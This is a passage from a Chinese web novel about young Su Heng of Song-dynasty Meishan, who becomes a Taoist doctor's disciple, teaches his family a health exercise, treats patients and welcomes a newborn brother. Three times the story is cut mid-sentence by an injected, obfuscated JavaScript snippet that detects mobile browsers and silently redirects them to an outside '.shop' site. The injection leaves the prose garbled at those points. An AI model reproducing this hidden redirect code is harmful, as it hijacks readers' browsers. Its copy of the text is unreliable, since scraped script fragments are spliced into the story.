苏洵点头,十分敬慕地看着那位领功的道长。那道长须发皆白,长至腰间,慈眉善目,神态悠然,一招一式颇有意韵,仿佛有无形之气随之流动。哪怕只是站在旁边观看,也觉神清气爽,似有缕缕清风拂面而来。 道长们练功毕,四散开来,自去忙各自的事情。在最前头的白须道长则缓步向苏衡的方向走来。 “此处不便交谈,不如挪步到茶室一叙。”几人互相行过礼,贵生道人提议道。 茶香袅袅,满室静寂。 贵生道人身着道袍,手上动作如行云流水般,从容地温盏、点茶。苏轼紧紧挨着苏衡,眨巴着大眼睛好奇地盯着贵生道人看个不停。 “诸位,请用茶。”贵生道人抬手示意。 “哇,好多白色沫沫!”苏轼迫不及待地端起茶盏,饮了一大口,嘴边瞬间多了一圈奶白色的“胡子”。 “苏郎君家的小儿子真是活泼可爱。”贵生道人捻须而笑。 “犬子贪食,让道长见笑了。”苏洵对着贵生道人尴尬笑笑,看向苏轼的眼神陡然锋利起来。臭小子,在外头也这般不懂礼数,等回去了再收拾你! 苏衡坐如老僧入定,只默默观察着对面的贵生道人。 “道长,能否烦请您再给我家长子把把脉?”苏衡服了药醒过来,这几日虽然并没有再出现突然昏睡的情况,但苏洵到底还是不放心。 贵生道人替苏衡把了脉,颔首道:“恢复得不错。只是,若要根治——” 苏洵自然明白贵生道人的未尽之意,忙道:“入道一事,我与内子商量过了,衡儿自己也十分愿意拜您为师,虔心学医。” 贵生道人:“既如此,择日不如撞日,苏小郎君今日便行了这拜师礼,如何?” “正有此意。”苏洵应道。 …… 行了略为繁琐的拜师礼,苏衡正式成为贵生道人的弟子,也是唯一一位弟子。 贵生道人是散居道士,并没有固定的道观,习惯四处云游,或是上山采药,或是治病救人。因苏衡年纪尚小,程氏又身怀六甲,贵生道人便与苏洵商定,他先在眉山天庆观暂住一年。一年后,苏衡满七岁,便要跟着贵生道人离开眉山,游医四方。 苏轼一听就不乐意了,哭着闹着也要入道,这样就能跟着兄长一起云游。最后自然被苏洵无情镇压了。 “你阿兄是因着身体的缘故,不得已为之。你好端端的,闹着当什么道士。你如今也三岁了,不许再胡闹了。等今日回去,为父就为你启蒙,教你认字。” “我不——”苏轼直接躺在地上打滚闹脾气。 “阿弟。”苏衡正要上前,劝苏轼起来,苏洵却拦住了他。 “衡儿,你别管。为父知道,你阿弟平日最是黏你,你虽看着冷淡,其实比你娘还宠他些。但这次,容不得轼儿胡闹。”苏洵说完,板着脸将苏轼从地上提溜起来。 “走,回房里,为父有话要与你说。” 也不知苏洵都和苏轼说了些什么,等父子俩谈完话出来,苏轼不哭也不闹了。不仅如此,次日竟真的开始乖乖听话,跟着苏洵认字。这倒是出乎苏衡意料了。 “阿弟,阿父那日到底同你说什么了?”又一日清晨,苏衡和苏轼兄弟两起身,一起漱口洗脸。苏衡趁机问道。 “唔……也,也没什么啦。”苏轼支支吾吾地从架子上取出他的刷牙子,抹上“牙膏”,借着刷牙避开了苏衡的问题。 苏衡见状,只好也取了刷牙子,打开牙膏盒,盒内装满了颜色微黄,质地黏稠的膏体。苏衡用刷牙子蘸取了一小块牙膏,站在苏轼旁边也刷起了牙。 这盒“牙膏”是凌大郎送的。 宋代的刷牙子一般都是竹木做柄,刷头用马尾做成,模样已经和后世的牙刷很接近了。只是牙粉到底还是没有牙膏好用,清洁力也不够强。因此,苏衡把凌大郎送的新款牙粉用完后,又和他简单描述了牙膏的模样和作用。 凌大郎很是感兴趣,回去研究了数日,居然真的被他捣鼓出简陋版“牙膏”。做法也简单:把柳树枝剁碎了扔锅里,添水熬煮,熬至黏稠了,再倒入姜汁,搅拌均匀,就做成了。 俩漱过口洗完脸,苏衡冷不丁又问:“阿父到底与你说什么了?” “这个……”苏轼眼神游移,“阿兄,你不要问了……” “好吧。”苏衡叹气,垂眸独自走开。 苏轼哪里受得住这个,忙慌里慌张地追上去:“阿兄,你不要伤心。我不是有意要瞒你的。是阿父说,这是我和他之间的秘密。男子汉大丈夫,不能食言。” “真的?”苏衡低头,和苏轼对视。 “嗯嗯嗯!”苏轼用力点头,毫不犹豫地把锅甩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14361964|152820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给了苏洵,“真的!是阿父不让我说的!” 苏衡见苏轼一脸紧张的模样,眼里闪过一丝笑意:“走吧,去用朝食。” “哦!” 正厅里已摆好碗筷和饭菜,鲜味隔着大老远都能闻到。 “阿兄,今日朝食有鱼辣羹哎!”苏轼吸了吸鼻子,惊喜叫道。 “嗯。”苏衡淡淡应道。 “鱼辣羹超级下饭,我今日能吃三碗饭!”苏轼兴奋得快要蹦跶起来。 “会撑。”苏衡提醒道。 “哦……好吧。那,那还是和平时一样,只吃一碗好了。”苏轼顿时变得蔫了吧唧的,仿佛头顶上有两只狗狗耳朵耷拉下来。 苏衡垂眸看他一眼,慢条斯理地说:“今日可以多吃半碗。” “!”苏轼猛地抬头,一双狗狗眼里好似闪着小星星,“好耶!” 一家人围坐用饭毕,有小厮前来通报柏郎中到了。原来今日正是苏洵和柏郎中约定看诊的日子。 程氏如今已还有一个月就到了临产期,苏洵不放心,特意去成都府请来了蜀地的妇科圣手柏郎中,为程氏把一次平安脉。 于是,柏郎中便背着医箱,如约而至。 把脉结束,柏郎中心中已有成算,正打算告知苏洵,目光一扫,却看见专心看着这边的苏衡,于是笑道:“我听闻三郎拜了贵生道长为师,三郎天资聪颖,一点即通。那贵生道长医术了得,三郎跟着他,定能成长为一代名医。” 除夕夜苏衡无故昏迷,林郎中无计可施,却被贵生道人救醒过来的事迹,已从眉山传至成都府。柏郎中还特意登门,找苏洵求贵生道人开的药方一观。看罢感慨,“此方用药奇险而巧妙,浑然天成,非常医可达也”。 再后来,苏家三郎拜贵生道人为师,虔心学医一事,也渐渐传开了。柏郎中见了苏衡,便想起这件事来。 “您谬赞了。犬子也只不过是记性好些,看过一遍就能记住罢了。贵生道长那满满一箱的医书,他囫囵吞枣似地,一个月就看完了。我都叫他慢些看,他偏不听,一得空就钻书房看研读医书,我竟拿他没办法。唉!”苏洵唉声叹气,一副很是苦恼的样子。 柏郎中远在成都,除了偶尔有人来请,很少到眉山县来。今日,是他第一次亲身体验到苏洵“凡尔赛”式炫子的功力。一时之间,竟不知作何反应。 “呃……这——三郎喜读医书,勤勉上进,这不是很好吗?苏郎君何故叹气呢。” “您有所不知。犬子他……”苏洵眼睛一亮,好不容易逮到一个不嫌弃他,愿意听他炫儿的大好人,他满腔的倾诉欲总算可以得到满足了。 正当苏洵准备开始滔滔不绝地花式炫儿,程氏轻咳两声,打断了他:“衡儿,你看完了那一箱医书,又跟着你师傅学了一个月。不如,便让柏郎中考校考校你,看看你学得如何了。” “是”苏衡恭敬答道。 “哦?”柏郎中也来了兴致,抚了抚胡须,出题道,“苏郎君说你过目不忘,那一箱医书你既已全部看完,想来已牢记在心。不如,你来试试为你阿娘把脉?” 18. 苏小神医 苏衡闻言,看向程氏,见程氏朝他鼓励地点点头,这才上前。 “阿娘胎像稳定,没有大碍。”苏衡收回手,从容道。 柏郎中听了,摸着胡子,笑而不语。 苏轼性子急,见柏郎中不说话,便嚷道:“柏爷爷,我阿兄诊得对不对呀?您快说说呀!” 柏郎中乐呵呵地说:“很对。你阿兄在医术上天赋异禀,若不是已拜了贵生道长为师,老夫我都想收他为徒弟了。” “哇,我就知道!我阿兄就是最厉害的!”苏轼与有荣焉,小鼻子快要翘到天上去。 苏衡并没有说什么,只抬手摸了摸苏轼的小脑袋。他哪是天赋异禀,不过是沾了前世记忆的光罢了。 苏家三郎是个小神医,传说中能活死人、肉白骨的贵生道长一眼相中了他,收他为唯一弟子。学医一个月有余,已经能为怀孕的亲生阿娘把平安脉,连府城的妇科圣手柏郎中都对那苏三郎赞不绝口。 这一消息不知怎地,竟在眉山县内传开了。街头巷尾都在议论着苏三郎那桩桩“奇闻轶事”。 “真的假的?那苏三郎才多大啊,就能够帮人看病治病了?” “那还能有假!我二嫂娘家的三妹的大舅子的邻居亲口说的!” “哎,我还听说了,苏三郎这一身医术,是跟一个白胡子老道士学的。” “是吗?我怎么听说是玉局观的一位白胡子老道士呢?你说,若是把我家大柱送过去,是不是也能学到点养家糊口的医术啊?” “害,你家大柱大字都不识几个,看得懂医书吗?” “嘿——你凭什么看不起我家大柱啊。我家大柱——” “好啦好啦,你俩别吵啦。我打听到啊,那白胡子老道士可不是个普通人,那道士道号贵生道人,其实是天上的仙人,具有活死人肉白骨的仙力。他如今下凡来,是想挑选有仙缘的徒弟!苏家三郎要是一般人,能入得了天上神仙的法眼吗?” “嚯嚯,原来是这么回事儿。你给我仔细说说……” 眉山这个小小县城,一年到头也没出过什么大事,日子如流水,平平淡淡地就这么流淌着。十多年前苏家老大苏涣考中了进士,那可是件轰动全蜀的大事。当时眉山县很是热闹了一阵,后来又渐渐恢复了平淡。 现在骤然听说苏家又出了个不得了的人物——年纪才刚满六岁的小神医,眉山百姓又兴奋地激情议论起来。 不过,这次和苏涣那次的议论又不太一样。 苏涣那是真材实料的进士,全县的人都见到那些官老爷领着小吏,恭恭敬敬地把公服、笏板等一应官服器用送了过来。苏序也因为儿子,被朝廷封了个官。 当时官服器用送来时,苏序正与人喝酒喝得大醉,酒气熏天。苏序为人洒脱不羁,就那么敞着双腿醉醺醺地读了诰书,见脚边一个布囊里还装着吃剩的下酒牛肉,就把送来的一应物什一股脑地全部扫进另一个空布囊里,让村里的小童挑着回家了。 当时的场景,不少人还历历在目。苏序面色酡红,醉醺醺地骑在驴背上,村童肩挑扁担,扁担两头各挂着一个布囊,慢吞吞地跟在驴后。眉山的百姓们见了大笑,这哪里有半分官老爷的威风气度,不还是平日那个豪爽不拘小节的苏老丈么! 而这一次,什么神仙下凡,什么白胡子老道士,什么六岁小神医,都是道听途说,没人亲眼看见,因此,大家都只当是茶余饭后的一桩故事彼此说笑,并不十分当真。 后来听说那贵生道长为了徒弟,在他们县的天庆观住下了,家中有人生病的,都纷纷跑去天庆观求医。小神医是不是真的,他们不知道,但是老神医肯定保真呀! · 外头的议论苏衡毫不在意,只一心跟着贵生道人学医,好为家人调养身体。 “师傅,那日您在玉局观领着诸位道长练的玉局功法,是否有强筋健骨、延年益寿之效?”苏衡心里记挂着曾见过两次的“八段锦”操,若是能让祖父他们每日都打上一套八段锦,长此以往,也能强健体魄,防止病痛。 “你看出来了?”贵生道人满意点头,“我徒儿就是好眼光。那玉局功法是你师傅我琢磨出来的,玉局观观主曾帮过我一个忙,我为了还他人情,便把自创的这套‘唐真人安乐法’传授给了他。” 哪有人自己管自己叫“真人”的。师傅真是……苏衡哭笑不得。这一个月相处下来,虽然贵生道人在他面前依然端着架子,一副仙风道骨的模样,但是他多少也看出了一些端倪,心中清楚,他这位师傅的真实性情绝非如旁人想的那般。但是—— 苏衡默默看了一眼正襟危坐,从头到脚,一丝不苟的师傅,略腹黑地想:既然师傅喜欢,那当徒儿的还是不要戳穿为好,以免扰了师傅的兴致。 “那师傅能教教徒儿吗?”苏衡仰头问。 “自然。你想学什么,为师都教你!” 于是,天庆观内一处僻静小院中,一老一少开始教学“唐真人安乐法”。没办法,贵生道人坚持要给这个功法起这个名字,苏衡只好随他。 “首先,左脚开步,宽度呢,大致与肩同款。对对对,没错,好徒儿你一下子就做对了。”贵生道人十分高兴。 “然后屈膝下蹲,两只手呢,这样放在肚子前面。哎——对!第一个动作,为师给你演示一遍。” 贵生道人说着,两手仰掌缓缓上举,又徐徐落下:“看明白了吗?你做一遍。” 苏衡点头,完美复刻了贵生道人的动作。贵人道人见了,不住点头,目露惊喜。上举时吸气,下落时呼气,呼吸之法还未教,徒弟就自己领悟了。要知道,这呼吸之法,正是这套功法最重要的内容。 “这一个动作,主要是用来调理三焦。你已经掌握了,我们来学下一个动作……” 前世,老道士每日清晨都会带着苏衡打上一套八段锦,苏衡对这些动作十分熟悉。因而这唐真人安乐法的每一招式贵生道人只示范一遍,苏衡就能完美复刻。 这处庭院四周载满了紫竹,清风徐来,竹叶随之作响。一老一少就在这紫竹环绕的小院中练起了养生功法。 嗯?苏衡耳尖微动,西面的紫竹背后忽然传出一些窸窸窣窣的动静。 “苏不疑你干什么呢。先生交代过这处院子我们不能靠近,以免打扰在里面清修的客人。你还不快回来!”苏不欺在原地急得直跺脚,平日在同窗面前的稳重姿态,此刻被自家二弟搅得破碎。 “嘘——我就看一眼,看完我就走。”苏不疑狗狗祟祟地靠近紫竹,小心翼翼地扒拉开一些遮挡着视线的枝叶,透过竹叶间的缝隙,往里窥探。 听说大堂弟的师傅贵生道长就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14370153|152820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住在这里,听其他人把这位道长吹得神乎其技,但他还没见过这位道长长什么样呢。这位道长平日里会在院子里修炼神仙术法吗?他能御剑飞行吗?还是会炼制长生不老丹呢?苏不疑好奇得抓心挠肝,终于忍不住偷摸前来,一探究竟。 “下一个动作如同鳝鱼摆尾,先半蹲,好,然后左摇头——再右摆尾——”贵生道人也注意到了西面竹林的动静,但是没有理会。 “好奇怪的姿势。这是在练什么特殊功法吗?”苏不疑正想再往前探头,好看得更清楚一点,命运的后颈却被人拿捏住,轻轻松松就被提溜起来。 “别别别!快放我下来!”苏不疑努力挣扎,好不容易才挣脱,回头一看,怒了:“之言哥!怎么是你?!” 程之言垂下手,一言不发。 “是我喊他过来帮忙的。你有意见?”苏不疑踱步过来,没好气地白了自家二弟一眼。 “没意见……”苏不疑蔫了一会儿,想起方才见闻,又精神起来,兴冲冲地和他的两位兄长分享,“我方才看见三郎与他师傅在修炼仙法,不过,那动作看着可奇怪了。” “二堂兄别急,等我学会了,第一个教你。”有个声音淡淡说道。 “好呀好呀!看着还蛮好玩的!”苏不疑先是点头,后知后觉地发现不对,僵硬地回头,“啊哈哈,三郎,你这么快就练完啦?” 苏衡面无表情道:“嗯。” 苏不疑尴尬地挠挠头,他和同样好动跳脱的小堂弟臭味相投,十分玩得来,但是面对长辈们日常放在嘴边夸奖的大堂弟,不知为什么,竟有些局促:“不好意思啊,三郎,我就是太好奇了,所以才想来看看。我本无意打扰你的。” “不妨事”,苏衡看他一眼,慢条斯理道,“好奇,是好事。” · 苏衡说到做到。 次日,正好是书院的旬休,苏不欺三人都回了苏家老宅。练习唐真人安乐法一事,苏衡已早早和苏序通了声气,苏序很是支持。于是,等苏不欺回到老宅,还没能歇一口气,就被拉着来到院中,开始学习“仙法”。 苏不疑简直要被这“仙法”折磨得□□。 “头往左摇,你这是右,反了。” “腰再弯低一点。” “呼吸不对。上举时吸气,下放时再呼气。” “颠足要七下,漏了。” “三郎,你放过我吧。我发现我手脚不协调,这玩意儿我真的练不来。”苏不疑一屁股坐在地上,撂挑子不练了。 苏衡没说话,只默默看向杨氏。 杨氏性子爽利,直接一脚铲在苏不疑屁股上:“快起来!这才练了多久。你是兄长,要起带头作用。地上多脏啊你就坐地上,像什么样子!你看看四郎,比你小了十岁,动作做起来有模有样的,再看看你!” 苏不疑顺着杨氏的视线看过去,三岁的小堂弟正扎着马步,在认认真真地在学开弓射雕那一招式。 “咻——”苏轼还饶有兴致地模仿起了利箭射出的声音 不是,他和苏四郎这个超级兄控能比吗?大堂弟说的每一句话,小堂弟都奉为圭臬。再说了,他是真的左右不分加上手脚不协调啊。他很努力了,但就是学不会啊! “啊——救命啊——”苏不疑嘴巴张开,似乎有灵魂要从里头飘出来。 19. 胖胖男子 眉山天庆观书院每十日一休,是为旬休。苏不疑每个月最期待的就是书院旬休,他可以回家睡懒觉,一觉睡到自然醒,然后再美美地吃一顿苏家厨子做的家常菜。不用早起晨读的日子实在太美妙了! 可是,自从苏衡开始教老宅的人练习什么“唐真人安乐法”,苏不疑每个月最讨厌的就变成旬休了。偏偏祖父还很支持三郎,一众孙辈,祖父最偏心的就是三郎了。只要是三郎提出的,祖父就没有反对过。 唉,他就是全家人地位最低的那个可怜虫。苏不疑垂头丧气,连手里的书也看不下去,直接把头埋进书里,像没了骨头一样,半死不过地趴在桌上。 “二弟,这是三郎托我带给你的。”苏不欺走到苏不疑桌边,放下一张对折的宣纸,这才从容地坐到旁边的座位上。 “哈?三郎给我的?”苏不疑直起身体,一头雾水地抓过那张宣纸,打开一看,脸都绿了。 纸上赫然是苏衡为了帮助二堂兄记忆动作,专门编写的一首歌诀—— “唐真人安乐法:两手托天理三焦,左右开弓似射雕。调理脾胃须单举,五劳七伤往后瞧。摇头摆尾去心火,两手攀足固肾腰。攒拳怒目增气力,背后七颠百病消。” “不是吧——”苏不疑拿着歌诀的手都在颤抖,“难不成我都回到书院上学了,每日还要早起练操?” 苏不欺嘴边勾起微笑:“理解透彻,正是如此。” 得到确认,苏不疑立刻又趴了回去,两眼无神,生无可念:“杀了我……” · 苏不疑对唐真人安乐法避如蛇蝎,练得生不如死,但苏轼却与他截然相反。每日清晨,都不用人来催,自己就爬起来了,屁颠屁颠地跟在苏衡身后,来到院子里打八段锦。 是的,苏衡有次说漏了嘴,被苏轼知道了“八段锦”这个名字。苏轼一听是兄长给这套功法起的名字,顿时点头拍手,夸苏衡起得好,顺便拉踩了一下贵生道人起的“破名字”。 每日和兄长一起练操,然后一同用一顿美味的朝食,再和兄长一道去书房学习。兄长看医书,他跟着阿父认字背诗。每时每刻都能和兄长贴贴,嘿嘿!就是阿姐也在,有点烦人。苏轼这般想着,瞄了旁边的苏轸一眼,偷偷撇嘴。 阿姐明明更喜欢在院子里看莲姨她们纺织,却为了能和阿兄一起在书房学习,去求了阿娘,让阿父也叫她认字背诗。而且还喜欢和他比,看谁认字认得最多,背诗背得最快,以此抢夺阿兄的夸奖。真可恶! 苏轼兀自不高兴,但是苏洵却乐开了花。 小儿子活泼好动,原本是个坐不住的性子。但他偏偏是个兄控,苏洵洞悉了这点,很快借此拿捏住他。 之前苏洵特意避开苏衡,和苏轼谈心,告诉他家里总要有人读书考取功名,为家里撑起一片天。如果苏轼不读书,那他就只能逼着苏衡读书。 可怜的小苏轼才三岁,哪懂得成年人的弯弯绕绕,速速被苏洵拿捏住了。于是,为了让苏衡能够安心做自己喜欢的事情,苏轼只好苦着脸接受了苏洵每日长达两个时辰的启蒙教育。 于是,苏洵惊喜地发现自家小儿子也天资聪颖,一点就通。虽然性子跳脱了一点,没有长子稳重,但只要搬出长子,次子再不情愿,也会乖乖听话背书。瞧瞧,这才三岁呢,认字背诗的速度却能和比他大两岁的长女一较高下了。 苏洵满意点头,孺子可教也。 一上午的时间很快过去,苏轼的小身体里仿佛装了个计时的漏壶,一到饭点,就会自动提醒书房里的众人:“该用午食啦!” 受苏衡的影响,苏家从原本的一日两餐改成了一日三餐,多了一餐午食。小馋猫苏轼对此很是满意。 今日的午食依旧是采莲做的。其中有一道江鱼兜子鲜美无比,苏轼最是喜欢。那江鱼兜子里面的鱼蓉可不简单,是用琉璃江里新鲜捕捞上来的鳜鱼做成的。桃花流水鳜鱼肥,这时节的鳜鱼最是肥美了。 吃着热乎乎的麦饭,再咬上一口江鱼兜子,苏轼吃得摇头晃脑,藕节似的小胖腿在桌子底来回晃悠。 “坐好了吃饭,腿放好,不许瞎晃。”苏洵板着脸小声呵斥道。 “哦!”苏轼正快乐晃悠的腿立刻僵住,悄悄并拢腿,坐正身子,偷眼看了看苏衡。见苏衡脸上淡淡,没有生气的迹象,这才暗暗松口气。 苏轼:已老实。 用过午食,按照拜师以来的惯例,苏衡要前往天庆观。未时至申时是贵生道人在观中为人诊病的时间,苏衡作为弟子,要从旁协助,同时观摩学习。 苏衡踩着上马石登上驴车,青枝提着一盒采莲事前准备好的小点心跟在后头。 苏轼依依不舍地和自家兄长挥手告别:“阿兄,早点回来。” “嗯。”苏衡应了一声,放下车帘。 “小郎君坐稳咯!”赶车的车夫一扬鞭子,拉车的驴子便乖乖地往前行进。 “唉,又是和阿兄分别的半天。阿兄去了书院,我就连继续认字背诗的动力都没有了。”苏轼小小一只,坐在小木凳上,双手托腮,愁眉苦脸地望着大门的方向,小大人似的叹了一口气。 “哦,那你就在那儿坐着吧。”苏轸专心记忆着苏洵给她写的字卡,眼也不抬地道。 “哼,什么嘛,明明阿姐你也记挂着阿兄,盼着他早点回家。”苏轼鼓起小脸,像只气鼓鼓的小青蛙。 “喲,这是怎么了?又在那傻坐着干什么。好了,别看了。你的《诗经》背到第几首了?”苏洵一眼就看到苏轼这个“望兄石”,没好气地问起他今日的功课。 “第八……”苏轼缩了缩脑袋。 “早上交代你背的的诗背了吗?”苏衡继续输出。 “还没……” “等你阿兄回来,你难道要告诉你阿兄今日下午无所事事,什么也没学?”苏洵打出致命一击。 苏轼小脸通红,羞得快要钻进地里去:“我,我这就去背!” · 花开两朵,各表一枝。 苏衡到了天庆观西北角的小院时,已有三四人在门外排着队,翘首以盼了。一见苏衡,几人都打起了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14380055|152820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 精神,喜道:“哎哟,小神医来了,那贵生道长的看诊时间很快就到了。 “小神医”是眉山百姓对苏衡的调侃,实际上来看病的人都是来找贵生道人的,大家并不相信苏衡这么小便能诊病开方。苏衡对此也不在意,向排着队的几位叔叔婶婶行礼问好后,便进了里屋。 苏衡轻车熟路地布置好银针、脉枕、笔墨纸砚等一应用具。等青枝烧好水,泡好茶,苏衡这才来到贵生道人卧房门外,轻扣三下,朗声道:“师傅,时辰到了,该起身为病人看诊了。” 屋内一片死寂。苏衡在门外安静等候了一刻钟,里头才慢半拍地传出一些动静。 又过了一会儿,屋门才缓缓打开。须发整齐,羽冠鹤氅,神色高深的贵生道人从容不迫地走了出来。 看着师傅这一副仙风道骨的模样,苏衡眨眨眼睛,忽然出声道:“师傅,下次别赖床了。外头病人们都等急了。” 贵生道人脚下一滑,一秒破功,脸上挂不住:“逆徒!空口白牙竟污蔑起你师傅来了。谁赖床了!” “是。”苏衡垂眸敛神,一副恭恭瑾瑾,师傅说的都对的模样。 “你!”贵生道人想骂又找不到理由,傲娇地哼了一声,一甩广袖,坐到了平日里常坐的那张椅子上。 梨花木椅上被人贴心地放了一张软硬适中的垫子,脉枕和银针都被摆放在他最趁手的位置。青瓷茶盏中的茶汤香气袅袅,正是他最爱喝的峨眉雪芽。 贵生道人的神色顿时缓和了下来,虽然偶尔闹心了一点,但大多数时候,徒弟还是个贴心又聪颖的好徒弟。 在门外排队候诊的病人已被青枝领到了“候诊室”就坐等候。这“候诊室”还是苏衡提出要布置的,贵生道人觉得这是件小事,便允了。 第一位病人是个三十来岁的男子,体形肥胖,一屁股坐下来,木椅发出不堪重负的“嘎吱”声。 “道长,我今日不知怎地,时常觉得又困又累,做什么都使不上劲。您能否帮我看看,这到底是怎么回事啊?”胖胖男子一坐下来就迫不及待地问道。 “别急,张嘴。”贵生道人掀起眼帘。 “啊?”胖胖男子一愣。 “不够大,再张。”贵生道人耐着性子道。 “师傅是想看看您的舌头,还请您张嘴。”苏衡在旁出言解释道。 “哦哦”,胖胖男子恍然大悟,听话地张大嘴巴,“啊——” 男子张嘴吐舌,只见那舌头胖大满嘴,舌苔水滑,舌体边缘还有齿痕。 “手伸出来,我诊一下脉。”贵生道人看毕,示意男子收回舌头,伸出两手。 “道长,我这病严不严重啊?能治吗?”见贵生道人诊完脉收回手,胖胖男子又苦着脸追问。 贵生道人故作高深地捋了捋长须:“能治。” 胖胖男子闻言,还没来得及露出喜色,就听贵生道人说出了后半句。 “我徒弟能治。” “哦。”胖胖男子先是愣了一愣,继而瞪大了双眼。 “啊——?” 20. 真武汤合苓桂术甘汤 徒弟,你来给他看看。”贵生道人捧起茶盏,呷了一口峨眉雪芽,表情很是享受。 “是。”苏衡也不推辞,“这位伯伯,还请伸手。” 胖胖男子面色犹疑,但还是把手放在脉枕上,方便苏衡把脉。 “如何?”贵生道人吹吹茶汤上的热气,挑眉问道。 “舌胖大,苔水滑,脉沉细,加之体胖易疲,这是脾肾阳虚证。脾虚不能运化水湿,以致积水停饮。”苏衡从容道。 贵生道人满意点头,继续问:“该用何方?” 苏衡思忖片刻,抬头道:“用真武汤合苓桂术甘汤,加太子参、黄芪。” 贵生道人听得连连点头,将纸笔推过去,示意道:“开方吧。” 胖胖男子愣了半天,终于反应过来,惊恐道:“道长,就直接让您的小徒弟开方吗?这,这不太妥当吧……他才六岁呢,学医应当也没多久吧?” 贵生道人:“我徒儿又不是一般人。而且我不是在旁边把关吗?无论是诊断还是开方,无一错误。这样,乖徒儿,你给这位伯伯解释一下你开的方子。” “是”,苏衡从容道,“真武汤温阳利水,苓桂术甘汤健脾利湿,温阳化饮,此方能补益脾肾,温阳化气。加上您有些气虚,容易乏力困倦,因此又加了补气的黄芪与太子参。” “哦哦。”胖胖男子其实没太听懂,听得一知半解,但小神医说得头头是道,似乎很有厉害的样子。 “这是药方,请您收好。按方抓药,用水煎煮,早中晚分三次服用即可。” “哎,好的,我晓得了。谢谢道长,谢谢小神医。”胖胖男子将药方贴身藏好,懵懵地道了谢,又懵懵地离开了。 苏衡朝守在候诊室门口的青枝点头示意,可以带下一位病人过来了。 下一位病人是个四十有余的阿婶,自述近来常腹痛泄泻,不知缘由。 苏衡在旁细听,已初步诊断这位阿婶有些脾气不足。脾胃为生化之源,脾气不足,则生化无力。可以用人参、白术、茯苓、炙甘草之类补气健脾的药材…… 苏衡还在心中斟酌药方,忽然听见屋外有人急急地敲门:“三郎在吗?” “是采莲姐姐的声音!”青枝连忙跑去开门,“采莲姐姐,你怎么来了?” “有急事。”采莲顾不得和青枝寒暄,疾走几步,向贵生道人行了礼,看向苏衡,“三郎君,娘子快要生了!您快回去吧。” 怎会这么突然。临产期不是还有十天,现在竟提前了。不会是出了什么意外吧?苏衡小脸一白,忙起身向贵生道人告辞:“师傅……” “行了,这些虚礼就免了。你快回家去吧。剩下的几位病人,你师傅我自己搞定。”贵生道人直接打断了苏衡的话,摆摆手示意他尽快回家。 “谢师傅。” · “家中可是发生了什么意外?”一坐上车,苏衡立即向采莲问道。 “用过午食后不到一个时辰,娘子突然说腹中阵痛,而且这阵痛来得频繁。当时,阿郎已第一时间去请了张稳婆。好在阿郎下令及时,张稳婆赶到时,娘子已破了羊水。不过,三郎君也不用太着急,我出门时,家中已在张稳婆的指挥下布置妥当,娘子也用了些点心补充力气,在床上待产了。”采莲回道。 “那边好。”苏衡心下略松,看来阿娘没有大碍。 回到家中,苏洵、苏轸和苏轼已在产房外焦急等候。产房内,传来张稳婆沉着指挥的声音与程氏的阵阵痛呼。 “阿兄!”苏轼最早发现苏衡回来,立刻跳下座位,扑到兄长怀里。 “阿娘在里面生小宝宝,”,苏轼仰着小脸,眼泪汪汪,“听起来好痛。” 苏衡安抚地搂着苏轼,轻轻拍着他的后背:“小宝宝很快就出来了,阿娘会没事的。” “嗯!”苏轼用力点头。 程氏这一胎,从黄昏生到了夜晚月出。伴随着小婴儿的一声嘹亮啼哭,漫长又痛苦的生产终于宣告结束。 “恭喜恭喜,苏二夫人生了个可爱的小郎君!”张稳婆抱着刚出生的苏六郎,喜气洋洋地走出来。 苏轸一听,顿时有些失望。她还以为这次终于能有一个香香软软的妹妹呢,怎么又是一个臭弟弟呀。希望这个弟弟不要像四郎一样,天天和她抢阿兄! “阿娘怎么样了?我先能进去看阿娘了吗?”苏轸转眼就把对妹妹的执念抛在脑后,还是阿娘更重要。 “八娘子别心急,里头还没收拾好呢。”张稳婆柔声道。 “好吧……” “八娘,要来看看你们的阿弟吗?”苏洵从张稳婆怀里接过襁褓,微笑着看向长女。 “要!” 苏衡、苏轼和苏轸都围了过来。 苏六郎小小一只,脸蛋还没巴掌大,看着很是瘦小。 “弟弟好小只啊,阿兄,我小时候也是这样的吗?”苏轼扭头问苏衡。 苏衡沉默一瞬,平静道:“不,你小时候更大只一些。” “噗嗤”,苏轸在旁听了,忍不住笑出来。 苏轼恼羞成怒:“笑什么笑,阿姐你不许笑。这说明我小时候特别健康!” “哦。”苏轸没什么诚意地用帕子捂住嘴巴,在帕子后继续笑。 苏轼气恼,但却拿他阿姐没办法。谁让他是全家最小的那个呢。不过,现在有了弟弟,他不再是最小的那个啦。 